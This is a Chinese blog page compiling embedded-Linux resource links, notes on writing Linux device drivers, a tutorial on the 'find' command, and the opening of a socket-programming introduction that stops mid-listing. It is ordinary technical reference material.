美国一家关于嵌入式系统的综合性网站,《EMBEDDED SYSTEMS》杂志主办者。提供嵌入式产品和工具购买指导,嵌入式产品Demo下载,业界新闻及各类活动报道,包含大量的资源链接和嵌入式开发文章,以及丰富的业界广告。

嵌入式Linux 嵌入式LINUX硬件板卡供应商
嵌入式LINUX硬件板卡供应商嵌入式LINUX开发套件供应商

嵌入实时操作系统 http://linux-embedded.com/links.php3 (英文)
提供嵌入式Linux链接
http://www.cs.umd.edu/~fwmiller/etc/realtime/code.html (英文)
实时软件概要

嵌入论坛 白云黄鹤站
白云黄鹤站嵌入版,国内较热闹的嵌入开发论坛,很值得拜访
科大瀚海风云嵌入式论坛
中国科技大学嵌入式论坛
星运网络-----电子工程师论坛
电子相关方面论坛,目前内容较少

民间团体 嵌入式Linux
主要是关于嵌入式Linux的内容
北京 Linux 俱乐部
主要是关于linux的内容
清华AKA
主要是关于linux的内容,有一些嵌入式系统的介绍
操作系统开发者
主要是关于linux的内容

链接资源 可编程逻辑器件网站
可编程逻辑器件网站致力于PLD/FPGA及VHDL技术在中国的推广。
电子网站之家
各地各类电子网站!电子网站大全!
IPANEL 嵌入式浏览器网站
详细介绍IPANEL嵌入式浏览器性能指标,用途等

科研团体 中国单片机公共实验室
内容主要集中在8位单片机,有一些值得一看的资料
中科院计算所RTOS主页
嵌入式系统软件研究组的主页,内容不多,但值得一看

开发工具 http://www.idiom.com/free-compilers/ (英文)
免费编译器目录
http://www.delorie.com/gnu/docs/gcc/gcc_44.html (英文)
介绍用GNU CC构造交叉编译器
http://www.gnu.org (英文)
GNU 自由软件组织

个人主页 iMCU--网络单片机
8月20日,全面改版,新版正式运行。目前尚有部分功能未完成。永久域名:http://imcu.126.com
电子网站大全
电子网站大全
开放的ColdFire网站 (英文)
完全开放原码,电路图的个人ColdFire网站。包括Free的TCPIP原码,uClinux和uCOS操作系统等等
嵌入式系统及器件论坛
内容少了点
51单片机世界
网站内容与网站名称描述相同,首页链接了大部分内容
汉东单片机实验室
关于单片机的个人网站中,是目前内容较丰富的一个
嵌入式RTOS
内容主要集中在嵌入式实时操作系统
单片机家园
一个单片机方面的个人网站。
嵌入式Linux个人网站
内容较少,仅一些文章和资源推荐!
电子工程师园地
有一些单片机和处理器的内容,主要是8051系列和X86系列,嵌入领域内容不多,内容有点杂
嵌入系统
主要内容包括MCS51\96系列和X86系列,BIOS的网络资源,简单的实时操作系统介绍,还有部分开发人员联合开发的实时操作系统介绍
电子工程师
内容主要集中在C51系列单片机
美国一位大学副教授的个人主页 (英文)
关于嵌入式处理器方面的个人工作项目介绍,有很多源码。

单片机 电子世纪
电子基础 mcu技术 mcu论坛 软件下载 数据手册 帮你开发 mcu解密 程序设计 校友挚友 招聘&人才 电子英语
单片机技术网
介绍单片机技术,开发和应用的专业网站,有众多应用文章,电子网站联接,产品项目介绍和部分产品网上销售等。内容包括单片机,工业控制,仪器仪表,信息家电,IC卡应用,防盗监控等

处理器类 http://www.bdti.com (英文)
提供大量DSP处理器信息。
http://www.mdronline.com/events/epf99/ (英文)
嵌入式处理器论坛。

产品信息 闻亭公司DSP产品
主要是dsp仿真器。
奔微实时操作系统--KarlOS微内核
KarlOS是一种小型且可靠的实时内核,特别是针对嵌入式系统而设计。内核自身能被非常灵活地修改到任一平台,因为它用于硬件抽象层(HAL)来隐藏任一硬件的特定功能,以至于可以协调内核的功能。同时KarlOS象一些传统的内核,用于平台抽象层(PAL)技术。
北京灵思信息系统有限公司
定位于嵌入式linux技术服务和提供解决方案的公司
广州中杰嵌入式计算平台
提供基于嵌入式硬件平台的产品级到系统级的完整解决方案,以满足用户嵌入式应用需求。

测试工具 http://www.rstcorp.com/marick/faqs/tools.htm (英文)
分类介绍各种测试工具产品。
http://www.stqe.net (英文)
软件测试资源网站。
http://www.testingstuff.com (英文)
一个介绍了大量测试工具的个人网站。
http://www.methods-tools.com/tools/frames_testing.html (英文)
提供大量的测试工具列表,包含简介与链接。



1. The Linux Kernel Module Programming Guide
http://www.dirac.org/linux/writing/lkmpg/2.6/lkmpg-2.6.0.html
2. Linux Device Drivers, 3rd Edition
By Jonathan Corbet, Greg Kroah-Hartman, Alessandro Rubini
http://linuxdriver.co.il/ldd3/
3. Writing Linux kernel modules
http://www.staerk.de/thorsten/index.php/Writing_Linux_kernel_modules


1. Building Embedded Linux System(英文)
http://oss.lzu.edu.cn/modules/wfdownloads/visit.php?cid=6&lid=87

2. 构建嵌入式Linux系统(中文)
http://oss.lzu.edu.cn/modules/wfdownloads/visit.php?cid=6&lid=51

转自:http://blog.chinaunix.net/u/21948/showart_354391.html

一、门户网站

1 ChinaUnix
网址: http://www.chinaunix.net
描述: C版块和shell版块很不错
C/C++论坛:http://bbs.chinaunix.net/forumdisplay.php?fid=23
shell论坛:http://bbs.chinaunix.net/forumdisplay.php?fid=24
man文档:http://man.chinaunix.net

2 中国Linux论坛
网址: http://www.linuxforum.net/
描述: 嵌入式Linux技术提高
Linux嵌入技术:http://www.linuxforum.net/forum/postlist.php?Cat=&Board=embedded
Linux内核技术:http://www.linuxforum.net/forum/postlist.php?Cat=&Board=linuxK
Linux设备驱动程序:http://www.linuxforum.net/forum/postlist.php?Cat=&Board=driver
C/C++编程版:http://www.linuxforum.net/forum/postlist.php?Cat=&Board=program

3 The ARM Linux Project
网址: http://www.arm.linux.org.uk/
描述: Linux for all ARM based machine

4 ARM官方网站
网址: http://www.arm.com/
描述: 提高ARM水平的最佳地方。文档和技术笔记均为英语,慢慢锻炼。
Document:http://www.arm.com/documentation/
Software:http://www.arm.com/community/software.php?PageTitle=Software&Categories=4&display=3

5 The Linux Kernel Archives
网址: http://www.kernel.org/
描述: Linux Kernel官方网站

6 IBM developerWorks
网址: http://www-128.ibm.com/developerworks/cn/
描述: 技术文档低中高级很丰富,作为系统学习的参考补充。

7 SourceForge
网址: http://sourceforge.net/
描述: 开源软件的入口。
U-boot:http://sourceforge.net/projects/uboot/

8 Linux fans
网址: http://www.linuxfans.org/nuke/index.php
描述: 国内很出名的Linux站点,人气很高。

二、技术博客

1 陈莉君
网址: http://www.lupaworld.com/26540
http://www.kerneltravel.net/
描述: 操作系统(Linux)研究。《深入理解Linux内核》的译者。kerneltravel里面关于kernel有很多精彩的文章,入门深入都可以在这里找到资料,可以讨论提高。

2 飞翔,嵌入式Linux
网址: http://blog.chinaunix.net/u/30686/index.html
描述: 嵌入式Linux方向

3 cnsLinux
网址: http://blog.chinaunix.net/u/13329/index.php
描述: Linux与程序设计

4 todaygood
网址: http://blog.chinaunix.net/u/24474/
描述: 嵌入式Linux方向

5 嵌入式Linux博客圈
网址: http://blog.chinaunix.net/group/group_25.html
描述: 我建立的嵌入式Linux方向的博客圈

6 Richard Stevens
网址: http://www.kohala.com/start/
描述: Richard Stevens的个人主页。

三、资料下载

1 Free Datasheet PDF Download
网址: http://www.ic-on-line.cn/
描述: 硬件芯片Datasheet可以在此下载

四、开发板厂商

1 北京恒颐
网址: http://www.hyesco.com/

2 华恒科技
网址: http://www.hhcn.com/chinese/cnindex.html

3 广州联智
网址: http://www.devicegate.com/

4 周立功单片机
网址: http://www.zlgmcu.com/home.asp

五、开发工具

1 GNU AS: Using AS---the GNU Assembler
http://sourceware.org/binutils/docs-2.16/as/index.html#Top

2 GNU LD: Using LD---the GNU Linker
http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_mono/ld.html

3 GNU MAKE
http://www.gnu.org/software/make/manual/make.html

4 GNU GCC: Using the GNU Compiler Collection
http://gcc.gnu.org/onlinedocs/gcc-4.2.1/gcc/

5 GNU GDB: Debugging with GDB
http://sourceware.org/gdb/current/onlinedocs/gdb_toc.html

6 GNU CVS
http://ximbiot.com/cvs/manual/

7 VIM
英文:http://vimdoc.sourceforge.net/htmldoc/usr_toc.html
中文:http://vcd.gro.clinux.org/doc/usr_toc.html

8 几本重要的书
《Using and Porting the GNU Compiler Collection》
http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc.html
《Linkers and Loaders》
http://www.iecc.com/linker/

9 交叉编译工具链
http://www.codesourcery.com/gnu_toolchains/arm
备注:CodeSourcery公司提供的GNU Tools交叉编译工具,性能优越。我现在使用的是arm-2007q1,编译了U-boot-1.2.0,并且成功移植到s3c2410(2007-09-19)

六、程序设计

1 《The Art of UNIX Programming》
http://www.faqs.org/docs/artu/

2 《UNIX Programming FAQ》(中文版)
http://www.linuxforum.net/books/upfaq/book1.htm

PS: 这是从super兄(实际上只发过一次邮件交流过哦)的博客上摘录的,他的博客地址是(http://blog.chinaunix.net/u/21948/),主要是嵌入式方面的日志。记得刚上CU的时候因为找嵌入式方面的资源,跑到他的博客上,发现他也在学嵌入式,不过到现在他长进很大,可我还只是学了毛皮。回想起来,可能是这段时间东学学、西弄弄,没有一个主线,所以得静下心来好好学习和研究啦。


1. HOWTO BUILD A CROSS COMPILER WITH EMERGE !(gentoo)

http://dev.gentoo.org/~vapier/CROSS-COMPILE-HOWTO

2. Very Simple Guide for Building Cross Compilers Tips(Recommend)

http://www.ifp.uiuc.edu/~nakazato/tips/xgcc.html

3.cross compiler mini howto

http://linux.bytesex.org/cross-compiler.html

4. How to build a cross compiler for Linux/MIPS

http://www.village.org/villagers/imp/build.html

5. Building a cross-compiler

http://www.nongnu.org/thug/cross.html

6. Cross Compiling Gcc for PowerPC(like 2)

http://www.pages.drexel.edu/~sg64/stuff/cross-compile.htm

7. ARM cross-compiling howto(Recommend)

http://www.ailis.de/~k/archives/19-ARM-cross-compiling-howto.html

8. Building and Testing gcc/glibc cross toolchains

http://www.kegel.com/crosstool/

9. Building the x86_64 cross-compiling toolchain(Recommend)

http://home.ix.netcom.com/~ejohns/glfs-amd64/toolchain.html

10. Building a GCC Cross Compiler for the PowerPC

http://www.cs.duke.edu/~irwin/gcc_ppc.html

11. The PARISC-Linux Cross Compiler How TO

http://www.parisc-linux.org/toolchain/PA-Linux-XC-HOWTO-01.html

12. Cross compiling a 64-bit PowerPC Linux Kernel

http://wiki.ppckernel.org/w/Cross_compiling_a_64-bit_PowerPC_Linux_Kernel

13. x86 -> Alpha Cross Compiler HOWTO(Recommend)

http://www.cse.unsw.edu.au/~cgray/crossdev/x86-alpha-xcc.html

14. HOWTO Cross Compile(gentoo)

http://gentoo-wiki.com/HOWTO_Cross_Compile

15. Building a GNU/Linux ARM Toolchain (from scratch)

http://www.schnozzle.org/~coldwell/toolchain/



[转帖] 嵌入式Linux驱动程序开发要点

转自:一塌糊涂的BLOG

在Linux操作系统下有3类主要的设备文件类型:块设备、字符设备和网络设备。这种分类方法可以将控制输入/输出设备的驱动程序与其他操作系统软件分离开来。
字 符设备与块设备的主要区别是:在对字符设备发出读/写请求时,实际的硬件I/O一般紧接着发生。块设备则不然,它利用一块系统内存作为缓冲区,若用户进程 对设备的请求能满足用户的要求,就返回请求的数据;否则,就调用请求函数来进行实际的I/O操作。块设备主要是针对磁盘等慢速设备设计的,以免耗费过多的 CPU时间用来等待。网络设备可以通过BSD套接口访问数据。
每个设备文件都有其文件属性(c/b),表示是字符设备还是块设备。另外每个文件都 有2个设备号,第一个是主设备号,标识驱动程序;第二个是从设备号,标识使用同一个设备驱动程序的、不同的硬件设备。设备文件的主设备号必须与设备驱动程 序在登记时申请的主设备号一致,否则用户进程将无法访问驱动程序。

系统调用时操作系统内核与应用程序之间的接口,设备驱动程序是操作系统内核与机器硬件之间的接口。设备驱动程序是内核的一部分,它完成以下功能:
●对设备初始化和释放
●把数据从内核传送到硬件和从硬件读取数据
●读取应用程序传送给设备文件的数据和回送应用程序请求的数据
●检测和处理设备出现的错误

MTD(Memory Technology Device)设备是闪存芯片、小型闪存卡、记忆棒之类的设备,它们在嵌入式设备中的使用正在不断增加。MTD驱动程序是在Linux下专门为嵌入式环境 开发的新的一类驱动程序。相对于常规块设备驱动程序,使用MTD驱动程序的优点在于他们能更好的支持、管理给予闪存设备,有基于扇区的擦除和读/写操作的 更好的接口。

驱动程序结构
Linux的设备驱动程序可以分为3个主要组成部分:
1. 自动配置和初始化子程序,负责监测所要驱动的硬件设备是否存在和能否正常工作。如果该设备正常,则对这个设备及其相关的设备驱动程序需要的软件状态进行初始化。这部分驱动程序仅在初始化时被调用一次。
2. 服务于I/O请求的子程序,又称为驱动程序的上半部分。调用这部分程序是由于系统调用的结果。这部分程序在执行时,系统仍认为是与进行调用的进程属于同一 个进程,只是由用户态变成了核心态,具有进行此系统调用的用户程序的运行环境,因而可以在其中调用sleep()等与进行运行环境有关的函数。
3. 中断服务子程序,又称为驱动程序的下半部分。在Linux系统中,并不是直接从中断向量表中调用设备驱动程序的中断服务子程序,而是由Linux系统来接 收硬件中断,再由系统调用中断服务子程序。中断可以在任何一个进程运行时产生,因而在中断服务程序被调用时,不能依赖于任何进程的状态,也就不能调用任何 与进程运行环境有关的函数。因为设备驱动程序一般支持同一类型的若干设备,所以一般在系统调用中断服务子程序时,都带有一个或多个参数,以唯一标识请求服 务的设备。

在系统内部,I/O设备的存/取通过一组固定的入口点来进行,这组入口点是由每个设备的驱动程序提供的。具体到Linux系统,设备驱动程序所提供的这组入口点由一个文件操作结构来向系统进行说明。file_operation结构定义于linux/fs.h文件中。

struct file_operation{
int (*lseek)(struct inode *inode, struct file *filp, off_t off, int pos);
int (*read)(struct inode *inode, struct file *filp, char *buf, int count);
int (*write)(struct inode *inode, struct file *filp, const char *buf, int count);
int (*readdir)(struct inode *inode, struct file *filp, struct dirent *dirent, int count);
int (*select)(struct inode *inode, struct file *filp, int sel_type, select_table *wait);
int (*ioctl)(struct inode *inode, struct file *filp, unsigned int cmd, unsigned int arg);
int (*mmap)(void);
int (*open)(struct inode *inode, struct file *filp);
int (*release)(struct inode *inode, struct file *filp);
int (*fasync)(struct inode *inode, struct file *filp);
};

file_operation结构中的成员几乎全部是函数指针,所以实质上就是函数跳转表。每个进程对设备的操作都会根据major、minor设备号,转换成对file_operation结构的访问。
常用的操作包括以下几种:
●lseek, 移动文件指针的位置,只能用于可以随机存取的设备。
●read, 进行读操作,参数buf为存放读取结果的缓冲区,count为所要读取的数据长度。返回值为负表示读取操作发生错误;否则,返回实际读取的字节数。对于字符型,要求读取的字节数和返回的实际读取字节数都必须是inode-i_blksize的倍数。
●write, 进行写操作,与read类似
●readdir, 取得下一个目录入口点,只有与文件系统相关的设备程序才使用。
●select, 进行选择操作。如果驱动程序没有提供select入口,select操作会认为设备已经准备好进行任何I/O操作。
●ioctl, 进行读、写以外的其他操作,参数cmd为自定义的命令
●mmap, 用于把设备的内容映射到地址空间,一般只有块设备驱动程序使用
●open, 打开设备准备进行I/O操作。返回0表示打开成功,返回负数表示失败。如果驱动程序没有提供open入口,则只要/dev/driver文件存在就认为打开成功。
●release, 即close操作。
在 用户自己的驱动程序中,首先要根据驱动程序的功能,完成file_operation结构中函数实现。不需要的函数接口可以直接在 file_operation结构中初始化为NULL。file_operation变量会在驱动程序初始化时注册到系统内部。当操作系统对设备操作时, 会调用驱动程序注册的file_operation结构中的函数指针。
Linux对中断的处理

在Linux系统里,对中断的处理是属于系统核心部分,因而如果设别与系统之间以中断方式进行数据交换,就必须把该设备的驱动程序作为系统核心的一部分。设备驱动程序通过调用request_irq函数来申请中断,通过free_irq来释放中断。它们被定义为:
#i nclude <linux/sched.h>
int request_irq(unsigned int irq,
void (*handler)(int irq, void dev_id, struct pt_regs *regs),
unsigned long flags,
const char *device,
void *dev_id);
void free_irq(unsigned int irq, void *dev_id);
参 数irq表示所要申请的硬件中断号;handler为向系统登记的中断处理子程序,中断产生时由系统来调用,调用时所带参数irq为中断号;dev_id 为申请时告诉系统的设备标识;regs为中断发生时的寄存器内容;device为设备名,将会出现在/proc/interrupts文件里;flag是 申请时的选项,它决定中断处理程序的一些特性,其中最重要的是中断处理程序是快速处理程序还是慢速处理程序。快速处理程序运行时,所有中断都被屏蔽,而慢 速处理程序运行时,除了正在处理的中断外,其他中断都没有被屏蔽。在Linux系统中,中断可以被不同的中断处理程序共享。

作为系统核心的一部分,设备驱动程序在申请和释放内存时不是调用malloc和free,而代之以调用kmalloc和kfree,它们被定义为:
#i nclude <linux/kernel.h>
void *kmalloc(unsigned int len, int priority);
void kfree(void *obj);
参数len为希望申请的字节数;obj为要释放的内存指针;priority为分配内存操作的优先级,即在没有足够空闲内存时如何操作,一般用GFP_KERNEL。




posted @ 2007-10-18 14:29 MEYE 阅读(1744) | 评论 (0)编辑 收藏
     摘要: Linux编译内核 准备工作 通常要运行的第一个命令是: #cd /usr/src/linux;make mrproper 该命令确保源代码目录下没有不正确的.o文件以及文件的互相依赖 配置 接下来的内核配置过程比较烦琐,但是配置的适当与否与日后Linux的运行直接相关,有必要了解一下一些主要的且经常用到的选项的设置。 配置内核可以根据需要与爱好使用下面命...  阅读全文
posted @ 2007-10-18 11:31 MEYE 阅读(2761) | 评论 (0)编辑 收藏

Linux中文件查找技术大全

出处:LINUXDOOR


  每一种操作系统都是由成千上万个不同种类的文件所组成的。其中有系统本身自带的文件,用户自己的文件,还有共享文件等等。我们有时候经 常忘记某份文件放在硬盘中的哪个地方。在微软的WINDOWS操作系统中要查找一份文件是相当简单的事情,只要在桌面上点击“开始”-“搜索”中就能按照 各种方式在本地硬盘上,局域网络,甚至在INTERNET上查找各种文件,文档。


  可是使用Linux的用户就没有那么幸运了,在Linux上查找某个文件确实是一件比较麻烦的事情。毕竟在Linux中需要我们使用专 用的“查找”命令来寻找在硬盘上的文件。Linux下的文件表达格式非常复杂,不象WINDOWS,DOS下都是统一的AAAAAAA.BBB格式那么方 便查找,在WINDOWS中,只要知道要查找的文件的文件名或者后缀就非常容易查找到。Linux中查找文件的命令通常为“find”命令,“find” 命令能帮助我们在使用,管理Linux的日常事务中方便的查找出我们需要的文件。对于Linux新手来说,“find”命令也是了解和学习Linux文件 特点的方法。因为Linux发行版本繁多,版本升级很快,在Linux书籍上往往写明某个配置文件的所在位置,往往Linux新手按图索骥还是不能找到。 比如说REDHAT Linux 7.O和REDHAT Linux 7.1中有些重要的配置文件所在的硬盘位置和文件目录就有了很大的改变,如果不学会使用“find”命令,那么在成千上万的Linux文件中要找到其中的 一个配置文件是相当困难的,笔者在没有精通“find”命令之前就吃过这样的苦头。好,下面就详细为大家介绍强大的“find”命令的全部使用方法和用 途。


  1.通过文件名查找法:


  这个方法说起来就和在WINDOWS下查找文件一样容易理解了。如果你把这个文件放在单个的文件夹里面,只要使用常见的“ls"命令就 能方便的查找出来,那么使用“find”命令来查找它就不能给你留下深刻的印象,毕竟“find”命令的强大功能不止这个。如果知道了某个文件的文件名, 而不知道这个文件放到哪个文件夹,甚至是层层套嵌的文件夹里。举例说明,假设你忘记了httpd.conf这个文件在系统的哪个目录下,甚至在系统的某个 地方也不知道,则这是可以使用如下命令:




find / -name httpd.conf


  这个命令语法看起来很容易就明白了,就是直接在find后面写上 -name,表明要求系统按照文件名查找,最后写上httpd.conf这个目标文件名即可。稍等一会系统会在计算机屏幕上显示出查找结果列表:




etc/httpd/conf/httpd.conf


  这就是httpd.conf这个文件在Linux系统中的完整路径。查找成功。


  如果输入以上查找命令后系统并没有显示出结果,那么不要以为系统没有执行find/ -name httpd.conf命令,而可能是你的系统中没有安装Apache服务器,这时只要你安装了Apache Web服务器,然后再使用find / -name httpd.conf就能找到这个配置文件了。


  2.无错误查找技巧:


  在Linux系统中“find”命令是大多数系统用户都可以使用的命令,并不是ROOT系统管理员的专利。但是普通用户使用 “find”命令时也有可能遇到这样的问题,那就是Linux系统中系统管理员ROOT可以把某些文件目录设置成禁止访问模式。这样普通用户就没有权限用 “find”命令来查询这些目录或者文件。当普通用户使用“find”命令来查询这些文件目录是,往往会出现"Permissiondenied."(禁 止访问)字样。系统将无法查询到你想要的文件。为了避免这样的错误,我们可是使用转移错误提示的方法尝试着查找文件,输入




find / -name access_log 2>/dev/null


  这个方法是把查找错误提示转移到特定的目录中去。系统执行这个命令后,遇到错误的信息就直接输送到stderrstream 2 中,access_log 2就是表明系统将把错误信息输送到stderrstream 2中,/dev/null是一个特殊的文件,表明空的或者错误的信息,这样查询到的错误信息将被转移了,不会再显示了。


  在Linux系统查找文件也会遇到这样一个实际问题。如果我们在整个硬盘,这个系统中查找某个文件就要花费相当长的一段时间,特别是大 型Linux系统和容量较大的硬盘,文件放在套嵌很深的目录中的时候。如果我们知道了这个文件存放在某个大的目录中,那么只要在这个目录中往下找就能节省 很多时间了。使用find /etc -name httpd.conf 就可以解决这个问题。上面的命令就是表示在etc目录中查询httpd.conf这个文件。这里再说明一下“/ ”这个函数符号的含义,如果输入 “find/ ”就是表示要求Linux系统在整个ROOT目录下查找文件,也就是在整个硬盘上查找文件,而“find/etc”就是只在 etc目录下查找文件。因为“find/etc”表示只在etc目录下查找文件,所以查找的速度就相应要快很多了。


  3.根据部分文件名查找方法:


  这个方法和在WINDOWS中查找已知的文件名方法是一样的。不过在Linux中根据部分文件名查找文件的方法要比在WINDOWS中 的同类查找方法要强大得多。例如我们知道某个文件包含有srm这3个字母,那么要找到系统中所有包含有这3个字母的文件是可以实现的,输入:




find /etc -name *srm*


  这个命令表明了Linux系统将在/etc整个目录中查找所有的包含有srm这3个字母的文件,比如 absrmyz, tibc.srm等等符合条件的文件都能显示出来。如果你还知道这个文件是由srm 这3个字母打头的,那么我们还可以省略最前面的星号,命令如下:




find/etc -name srm*


  这是只有像srmyz 这样的文件才被查找出来,象absrmyz或者 absrm这样的文件都不符合要求,不被显示,这样查找文件的效率和可靠性就大大增强了。


  4.根据文件的特征查询方法:


  如果只知道某个文件的大小,修改日期等特征也可以使用“find”命令查找出来,这和WINDOWS系统中的"搜索"功能是基本相同 的。在微软的"搜索"中WINDOWS中的"搜索助理"使得搜索文件和文件夹、打印机、用户以及网络中的其他计算机更加容易。它甚至使在Internet 上搜索更加容易。"搜索助理"还包括一个索引服务,该服务维护了计算机中所有文件的索引,使得搜索速度更快。使用"搜索助理"时,用户可以指定多个搜索标 准。例如,用户可以按名称、类型及大小搜索文件和文件夹。用户甚至可以搜索包含特定文本的文件。如果用户正使用 Active Directory,这时还可以搜索带有特定名称或位置的打印机。


  例如我们知道一个Linux文件大小为1,500 bytes,那么我们可是使用如下命令来查询find / -size 1500c,字符 c 表明这个要查找的文件的大小是以bytes为单位。如果我们连这个文件的具体大小都不知道,那么在Linux中还可以进行模糊查找方式来解决。例如我们输 入find/ -size +10000000c 这个命令,则标明我们指定系统在根目录中查找出大于10000000字节的文件并显示出来。命令中的“+”是表示要求系统只列出大于指定大小的文件,而使 用“-”则表示要求系统列出小于指定大小的文件。下面的列表就是在Linux使用不同“ find"命令后系统所要作出的查找动作,从中我们很容易看出在Linux中使用“find"命令的方式是很多的,“ find"命令查找文件只要灵活应用,丝毫不必在WINDOWS中查找能力差。


  find / -amin -10 # 查找在系统中最后10分钟访问的文件


  find / -atime -2 # 查找在系统中最后48小时访问的文件


  find / -empty # 查找在系统中为空的文件或者文件夹


  find / -group cat # 查找在系统中属于 groupcat的文件


  find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件


  find / -mtime -1 #查找在系统中最后24小时里修改过的文件


  find / -nouser #查找在系统中属于作废用户的文件


  find / -user fred #查找在系统中属于FRED这个用户的文件


  下面的列表就是对find命令所可以指定文件的特征进行查找的部分条件。在这里并没有列举所有的查找条件,参考有关Linux有关书籍可以知道所有find命令的查找函数。


  -amin n


  查找系统中最后N分钟访问的文件


  -atime n


  查找系统中最后n*24小时访问的文件


  -cmin n


  查找系统中最后N分钟被改变状态的文件


  -ctime n


  查找系统中最后n*24小时被改变状态的文件


  -empty


  查找系统中空白的文件,或空白的文件目录,或目录中没有子目录的文件夹


  -false


  查找系统中总是错误的文件


  -fstype type


  查找系统中存在于指定文件系统的文件,例如:ext2 .


  -gid n


  查找系统中文件数字组 ID 为 n的文件


  -group gname


  查找系统中文件属于gnam文件组,并且指定组和ID的文件


  5.Find命令的控制选项说明:


  Find命令也提供给用户一些特有的选项来控制查找操作。下表就是我们总结出的最基本,最常用的find命令的控制选项及其用法。


  选项 用途描述


  -daystart .测试系统从今天开始24小时以内的文件,用法类似-amin


  -depth 使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容


  -follow 遵循通配符链接方式查找; 另外,也可忽略通配符链接方式查询


  -help 显示命令摘要


  -maxdepth levels 某个层次的目录中按照递减方法查找


  -mount 不在文件系统目录中查找, 用法类似 -xdev.


  -noleaf 禁止在非UNUX文件系统,MS-DOS系统,CD-ROM文件系统中进行最优化查找


  -version 打印版本数字


  使用-follow选项后,find命令则遵循通配符链接方式进行查找,除非你指定这个选项,否则一般情况下find命令将忽略通配符链接方式进行文件查找。


  -maxdepth选项的作用就是限制find命令在目录中按照递减方式查找文件的时候搜索文件超过某个级别或者搜索过多的目录,这样 导致查找速度变慢,查找花费的时间过多。例如,我们要在当前(.)目录技巧子目录中查找一个名叫fred的文件,我们可以使用如下命令




find . -maxdepth 2 -name fred


  假如这个fred文件在./sub1/fred目录中,那么这个命令就会直接定位这个文件,查找很容易成功。假如,这个文件在. /sub1/sub2/fred目录中,那么这个命令就无法查找到。因为前面已经给find命令在目录中最大的查询目录级别为2,只能查找2层目录下的文 件。这样做的目的就是为了让find命令更加精确的定位文件,如果你已经知道了某个文件大概所在的文件目录级数,那么加入-maxdepth n 就很快的能在指定目录中查找成功。


  6.使用混合查找方式查找文件


  find命令可以使用混合查找的方法,例如我们想在/tmp目录中查找大于100000000字节并且在48小时内修改的某个文件,我们可以使用-and 来把两个查找选项链接起来组合成一个混合的查找方式。




find /tmp -size +10000000c -and -mtime +2


  学习过计算机语言的朋友都知道,在计算机语言里,使用and ,or 分别表示“与”和“或”的关系。在Linux系统的查找命令中一样通用。


  还有这样的例子,




find / -user fred -or -user george


  我们可以解释为在/tmp目录中查找属于fred或者george这两个用户的文件。


  在find命令中还可以使用“非”的关系来查找文件,如果我们要在/tmp目录中查找所有不属于panda的文件,使用一个简单的




find /tmp ! -user panda


  命令就可以解决了。很简单。


  7.查找并显示文件的方法


  查找到某个文件是我们的目的,我们更想知道查找到的文件的详细信息和属性,如果我们采取现查找文件,在使用LS命令来查看文件信息是相当繁琐的,现在我们也可以把这两个命令结合起来使用。




find / -name "httpd.conf" -ls


  系统查找到httpd.conf文件后立即在屏幕上显示httpd.conf文件信息。




12063 34 -rw-r--r-- 1 root root 33545 Dec 30 15:36 /etc/httpd/conf/httpd.conf


  下面的表格就是一些常用的查找文件并显示文件信息的参数和使用方法


  选项 用途描述


  -exec command; 查找并执行命令


  -fprint file 打印文件完整文件名


  -fprint0 file 打印文件完整文件名包括空的文件


  -fprintf file format 打印文件格式


  -ok command; 给用户命令执行操作,根据用户的Y 确认输入执行


  -printf format 打印文件格式


  -ls 打印同种文件格式的文件.


  总结:到这里为止我们已经学习了这名多关于find命令的使用方法,也列出了很多常用的find命令的选项,如果我们能熟练掌握在Linux中find命令的使用方法,那么在Linux中查找文件也不是一件困难的事情。

posted @ 2007-10-18 11:26 MEYE 阅读(428) | 评论 (0)编辑 收藏

Linux C编程---网络编程

摘要

  网络编程,一定离不开套接口;那什么是套接口呢?在Linux下,所有的I/O操作都是通过读写文件描述符而产生的,文件描述符是一个 和打开的文件相关联的整数,这个文件并不只包括真正存储在磁盘上的文件,还包括一个网络连接、一个命名管道、一个终端等,而套接口就是系统进程和文件描述 符通信的一种方法。目前最常用的套接口是字:字节流套接口(基于TCP)和数据报套接口(基于UDP),当然还有原始套接口(原始套接口提供TCP套接口 和UDP套接口所不提供的功能,如构造自己的TCP或UDP分组)等,我们这里主要介绍字节流套接口和数据报套接口。




By Wing


  网络编程,一定离不开套接口;那什么是套接口呢?在Linux下,所有的I/O操作都是通过读写文件描述符而产生的,文件描述符是一个 和打开的文件相关联的整数,这个文件并不只包括真正存储在磁盘上的文件,还包括一个网络连接、一个命名管道、一个终端等,而套接口就是系统进程和文件描述 符通信的一种方法。目前最常用的套接口是字:字节流套接口(基于TCP)和数据报套接口(基于UDP),当然还有原始套接口(原始套接口提供TCP套接口 和UDP套接口所不提供的功能,如构造自己的TCP或UDP分组)等,我们这里主要介绍字节流套接口和数据报套接口。


  要学习网络编程,一定离不开网络库的函数,在Linux系统下,可以用"man 函数名"来得到这个函数的帮助,不过为了照顾E文不大好的朋友,下面就将常用的网络函数和用法列出来供大家参考:


  1、socket函数:为了执行网络输入输出,一个进程必须做的第一件事就是调用socket函数获得一个文件描述符。






-----------------------------------------------------------------



#include <sys/socket.h>



int socket(int family,int type,int protocol);    



返回:非负描述字---成功   -1---失败



-----------------------------------------------------------------




  第一个参数指明了协议簇,目前支持5种协议簇,最常用的有AF_INET(IPv4协议)和AF_INET6(IPv6协议);第二个 参数指明套接口类型,有三种类型可选:SOCK_STREAM(字节流套接口)、SOCK_DGRAM(数据报套接口)和SOCK_RAW(原始套接 口);如果套接口类型不是原始套接口,那么第三个参数就为0。


  2、connect函数:当用socket建立了套接口后,可以调用connect为这个套接字指明远程端的地址;如果是字节流套接口,connect就使用三次握手建立一个连接;如果是数据报套接口,connect仅指明远程端地址,而不向它发送任何数据。






-----------------------------------------------------------------



#include <sys/socket.h>      



int connect(int sockfd,const struct sockaddr * servaddr,socklen_t



addrlen);  



返回:0---成功   -1---失败



-----------------------------------------------------------------




  第一个参数是socket函数返回的套接口描述字;第二和第三个参数分别是一个指向套接口地址结构的指针和该结构的大小。


  这些地址结构的名字均已“sockaddr_”开头,并以对应每个协议族的唯一后缀结束。以IPv4套接口地址结构为例,它以“sockaddr_in”命名,定义在头文件<netinet/in.h>;以下是结构体的内容:






------------------------------------------------------------------



struct in_addr {



in_addr_t s_addr;      /* IPv4地址 */



};



struct sockaddr_in {



uint8_t sin_len; /* 无符号的8位整数 */



sa_family_t sin_family;



/* 套接口地址结构的地址簇,这里为AF_INET */



